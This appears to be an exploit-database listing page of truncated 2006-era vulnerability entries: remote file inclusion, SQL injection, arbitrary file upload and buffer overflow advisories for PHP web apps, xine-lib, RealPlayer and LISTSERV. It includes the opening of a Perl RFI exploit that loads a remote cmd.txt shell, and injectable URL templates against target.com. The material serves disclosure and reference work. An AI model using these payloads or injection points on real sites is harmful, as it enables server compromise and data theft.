DZCP (deV!L_z Clanportal) 1.3.6 - Arbitrary File Upload

DZCP deV!Lz Clanportal 1.3.6 - Arbitrary File Upload S Y N O P S I S / =================' - access: remote severity: high - deV!Lz Clanportal allows nearly arbitrary files to be uploaded and stored on the server's filesystem, which enables anyone, even without a user account, to upload PHP code a...

DZCP (deV!L_z Clanportal) 1.3.6 - Arbitrary File Upload

S Y N O P S I S / =================' - access: remote severity: high - deV!Lz Clanportal allows nearly arbitrary files to be uploaded and stored on the server's filesystem, which enables anyone, even without a user account, to upload PHP code and execute it, leading to arbitrary code execution. B...

CVE-2006-6167

Multiple PHP remote file inclusion vulnerabilities in L. Brandon Stone and Nathanial P. Hendler Active PHP Bookmarks APB 1.1.02 allow remote attackers to execute arbitrary PHP code via a URL in the APBSETTINGS'apbpath' parameter in 1 apbcommon.php or 2 apb.php. NOTE: CVE and another third party...

CVE-2006-6167

Active PHP Bookmarks (APB) 1.1.02 contains PHP remote file inclusion vulnerabilities allowing remote code execution via a URL in APB_SETTINGS['apb_path'] in apb_common.php or apb.php. Affected components: apb_common.php, apb.php. Root cause: RFI through unvalidated APB_SETTINGS parameter. Impact:...

Cahier de texte 2.0 (lire.php) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications =========================================================== Cahier de texte 2.0 lire.php Remote SQL Injection Exploit =========================================================== Cahier de textes Pierre Lemaitre - St L? France - Ver 2.0...

CVE-2006-4770

CVE-2006-4770 describes a PHP remote file inclusion in MiniPort@l 2.0 and earlier. The vulnerability exists in menu.php via the skiny parameter, allowing an attacker to supply a URL that leads to remote PHP code execution. The issue is documented in NVD/NVD-related entries; no explicit patch vers...

CVE-2006-4770

PHP remote file inclusion vulnerability in menu.php in MiniPort@l 2.0 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the skiny parameter...

MiniPort@l 0.1.5 Beta - 'skiny' Remote File Inclusion

!/usr/bin/perl use LWP::UserAgent; / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - MiniPort@l perl exploit.pl http://site.com/MiniPort@lPath/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; $sciezka = $ARGV0; $sciezkacmd = $ARGV1; $komenda = $ARGV2;...

MiniPort@l 0.1.5 Beta - skiny Remote File Inclusion

MiniPort@l 0.1.5 Beta - skiny Remote File Inclusion !/usr/bin/perl use LWP::UserAgent; / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - MiniPort@l perl exploit.pl http://site.com/MiniPort@lPath/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; $sciezka = $ARGV0;...

lforum240.txt

Title: l-forum = 2.4.0 Remote File Inclusion Vulnerability The bug is Discovered by Minus-Power Mail: minus-power at myway dot com Date: 19.Aug 2006 -= Republic of IRAN =- Thank you : R00TATI - Stansar & members of RS Damn to : All Arab & Turkish hackers...

GLSA-200604-16 : xine-lib: Buffer overflow vulnerability

The remote host is affected by the vulnerability described in GLSA-200604-16 xine-lib: Buffer overflow vulnerability Federico L. Bossi Bonin discovered that when handling MPEG streams xine-lib fails to make a proper boundary check of the input data supplied by the user before copying it to an...

Libxine 1.14 - MPEG Stream Buffer Overflow (PoC)

Libxine 1.14 - MPEG Stream Buffer Overflow PoC !/usr/bin/perl Libxine = 1.14 : MPEG Stream Buffer overflow vulnerability / PoC Federico L. Bossi Bonin fbossiatnetcomm.com.ar gdb run /tmp/egg.mpeg Starting program: /usr/bin/gxine /tmp/egg.mpeg Program received signal SIGSEGV, Segmentation fault...

realplayer-swf-PoC.pl.txt

!/usr/bin/perl RealPlayer: Buffer overflow vulnerability / PoC CVE-2006-0323 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0323 RealNetworks Advisory http://service.real.com/realplayer/security/03162006player/en/ Federico L. Bossi Bonin fbossiatnetcomm.com.ar Program received signal...

LISTSERV contains multiple buffer overflow vulnerabilities in the WA CGI script

Overview Several buffer overflow vulnerabilities have been discovered in LISTSERV. These vulnerabilities could allow a remote attacker to execute arbitrary code on an affected system. Description L-Soft's LISTSERV is an email list management software package. It includes a Web Archive and...

L-Soft Listserv list management system web interface code execution

No description provided...

Critical Risk Vulnerability in L-Soft Listserv

Peter Winter-Smith of NGSSoftware has discovered a number of vulnerabilities in L-Soft's LISTSERV list management system. The worst of these carries a critical risk rating. Affected versions include: - LISTSERV version 14.4, including LISTSERV Lite and HPO - LISTSERV version 14.3, including...

FantasticSQL.txt

Software: Fantastic News Web Site: http://www.fscripts.com Versions: 2.1.1 Type: 2 SQL Injection Class: Remote Exploit : 1- http://www.target.com/news.php?action=news&category=|sql 2- http://www.target.com/news.php?page=|sql Discovered by: SAUDI L-G-H Team http://www.lezr.com Regards ///...

D3JeebSQL.txt

Software: D3Jeeb Web Site: http://www.tl4s.com Versions: tested on D3Jeeb Pro 3 Type: SQL Injection Class: Remote Vulnerable script: fastlinks.php catogary.php Exploit : 1- http://www.target.com/fastlinks.php?catid=SQL 2- http://www.target.com/catogary.php?catid=SQL Discovered by: SAUDI L-G-H Tea...

2 SQL Injection in d3jeeb

Software: D3Jeeb Web Site: http://www.tl4s.com Versions: tested on D3Jeeb Pro 3 Type: SQL Injection Class: Remote Vulnerable script: fastlinks.php catogary.php Exploit : 1- http://www.target.com/fastlinks.php?catid=SQL 2- http://www.target.com/catogary.php?catid=SQL Discovered by: SAUDI L-G-H Tea...

2 SQL Injection in Fantastic News

Software: Fantastic News Web Site: http://www.fscripts.com Versions: 2.1.1 Type: 2 SQL Injection Class: Remote Exploit : 1- http://www.target.com/news.php?action=news&category=|sql 2- http://www.target.com/news.php?page=|sql Discovered by: SAUDI L-G-H Team http://www.lezr.com Regards ///...